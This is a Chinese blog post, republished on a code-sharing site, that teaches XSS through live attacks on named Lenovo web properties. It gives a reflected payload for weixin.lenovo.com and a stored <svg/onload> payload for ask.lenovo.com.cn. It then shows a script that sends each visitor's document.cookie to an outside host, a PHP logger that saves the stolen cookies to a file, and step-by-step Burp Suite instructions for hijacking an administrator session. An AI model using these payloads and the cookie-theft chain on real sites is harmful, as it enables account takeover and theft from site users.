码迷,mamicode.com
首页 > 其他好文 > 详细

xss脚本攻击

时间:2016-04-20 18:02:12      阅读:157      评论:0      收藏:0      [点我收藏+]

标签:

xss脚本攻击不仅仅只是alert(1)就算完了,xss脚本攻击真正的用处是盗取普通用户的cookie,或者盗取管理员的cookie

 

xss分类(类型):

 

1、 反射型xss

2、 存储型xss

3、 DOMxss

 

xss分类(代码):

 

1js代码中xss

2、事件中的xss

3html中的xss

4、外部引入xss

 

说到外部引入,讲一下同源策略与跨域请求

 

同源策略:

 

Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略,所谓同源是指:协议,域名,端口相同。

 

为什么需要同源策略?

 

假设现在没有同源策略,会发生什么事情呢?大家知道,JavaScript可以做很多东西,比如:读取/修改网页中某个值。嗯,你现在打开了浏览器,在一个tab窗口中打开了银行网站,在另外一个tab窗口中打开了一个恶意网站,而那个恶意网站挂了一个的专门修改银行信息的JavaScript,当你访问这个恶意网站并且执行它JavaScript时,你的银行页面就会被这个JavaScript修改,后果会非常严重!而同源策略就为了防止这种事情发生。

 

比如说,浏览器的两个tab页中分别打开了http://www.baidu.com/index.htmlhttp: //www.google.com/index.html,其中,JavaScript1JavaScript3是属于百度的脚本,而 JavaScript2是属于谷歌的脚本,当浏览器的tab1要运行一个脚本时,便会进行同源检查,只有和www.baidu.com同源的脚本才能被执行。所以,tab1只能执行JavaScript1JavaScript3脚本,而JavaScript2不能 执行,从而防止其他网页对本网页的非法篡改。

 

这下,应该明白同源策略是什么意思了吧。

 

跨域请求,可以使用<script>标签的src属性,这样,就可以引入外部的js代码,达到绕过同源策略限制的目的。

 

现在的浏览器,基本上都有同源策略,xss攻击防范,大家可以研究下。

 

xss攻击平台:

 

http://xsser.me/

 

可以通过该平台盗取cookie,也可以通过自己控制的服务器盗取cookie

 

1,本地xss

 

直接在浏览器输入:javascript:alert(document.cookie),即可将当前页面的cookie弹出来,如果要将当前页面中某个变量的值弹出来,直接alert (变量)即可。

技术分享

2,联想weixin站反射型xss

 

开启Firefox,输入:

 

http://weixin.lenovo.com/weixin/index.php/faq/faqdetail?faq_title_id=11111111

 

查看源码,可以看到,输入的数据已然被输出到<script>标签范围了,此时,我们就不用担心,构造<script>标签的事情了,我们就可以直接测试单引号,双引号,分号,alertprompt,等等这些关键字是否被过滤或者编码!

 

输入:

 

http://weixin.lenovo.com/weixin/index.php/faq/faqdetail?faq_title_id=1‘2"3(4;5alert6prompt

 

执行,查看源码:

技术分享

var title_id = ‘1‘2"3(4;5alert6prompt‘;

 

可见,双引号被编码成:",但是,单引号可以用,而且,这里分号与//注释符也可以使用,关键字alert也没有过滤。

 

于是,构造输入:

 

http://weixin.lenovo.com/weixin/index.php/faq/faqdetail?faq_title_id=111‘;alert(1)//

技术分享

果断弹窗!

 

此时,查看该页面源码,xss Playload如下:

 

var title_id = ‘111‘;alert(1)//‘;

 

等价于:

 

var title_id = ‘111‘;

 

alert(1)

 

如图所示:

技术分享

其实,xss漏洞挖掘,本质上还是在知晓xss漏洞原理的情况下,熟读js代码。除此之外,没有其他的捷径了!当然,xss漏洞挖掘技巧还是非常重要的!

 

3,联想ask站存储型xss

 

开启Firefox,输入:http://ask.lenovo.com.cn/html/index.html

 

注册,登录,发帖:

 

贴子详情:

 

添加问题:<svg/onload=alert(1)> //这里即是xss的输入关键点

 

详细描述:123 //这里随便填写就好了

 

如图所示:

 

发帖:

技术分享

直接就弹窗了:

技术分享

此时

 

如果,将<svg/onload=alert(1)>改成<svg/onload=alert(document.cookie)>,就会弹出当前访问用户的cookie

 

更进一步

 

如果,将<svg/onload=alert(document.cookie)>改成如下代码:

 

<script> 

 

document.location = ‘http://baidu.com/cookie.php?cookie=‘ + document.cookie;

 

</script>

 

而此时,baidu.com服务器web根目录下的cookie.php源代码如下:

 

<?php 

 

$cookie = $_GET[‘cookie‘]; 

 

$log = fopen("cookie.txt", "a"); 

 

fwrite($log, $cookie ."\n"); 

 

fclose($log); 

 

?>

 

大家可以看到,通过这两段代码,我们就可以搜集所有访问该xss页面用户的cookie了。

 

并且,将搜集到的所有cookie都保存到baidu.com服务器web根目录下的cookie.txt文件中。

 

如果,ask站的流量大,那么,cookie.txt文件中cookie就多,换句话说,站点流量的大小直接决定我们搜集cookie的多少!

 

当然,这只是php代码搜集cookie的案例,其他语言代码也可以搜集cookie,可以根据具体server环境,选择不同的搜集cookie的代码。

 

搜集到了cookie后,我们拿他来干嘛?

 

当然是欺骗普通用户,或者是管理员了!

 

如果是普通用户的cookie,我们就可以欺骗普通用户

 

如果是管理员的cookie,我们就可以欺骗管理员了

 

例如,联想ask

 

欺骗的具体流程,如下:

 

1、 注册一个普通用户,如:xsser

2、 成功登录该普通用户一次,服务器就会在该普通用户的本地生成该用户对应的cookie

3、 再次登录该普通用户,使用burpsuite抓取登录请求数据包

4、 可以看到:http头中xsser用户对应的cookie字段及cookie

5、 这个值,就是xsser用户在ask站对应的cookie

6、 使用askadmin用户的cookie值替换该处xsser用户的cookie

7、 替换完成后,使用burpsuite提交登录请求数据包

8、 admin用户登录成功!

 

到此,我们就算欺骗admin用户,成功登录了!

 

如果,admin用户是普通用户,那么,就并没有什么太大的用处,xsser就是普通用户!

 

如果,admin用户是管理员用户,那么,此时,我们就是ask站的管理员了!

 

例4, dom  xss

 

简单来说,dom xss是html页面本身的js代码所触发的xss,可以绕过浏览器和waf的防护

 

具体例子我没有找到,大家有空可以自行研究下。

xss脚本攻击

标签:

原文地址:http://www.cnblogs.com/windclouds/p/5413558.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!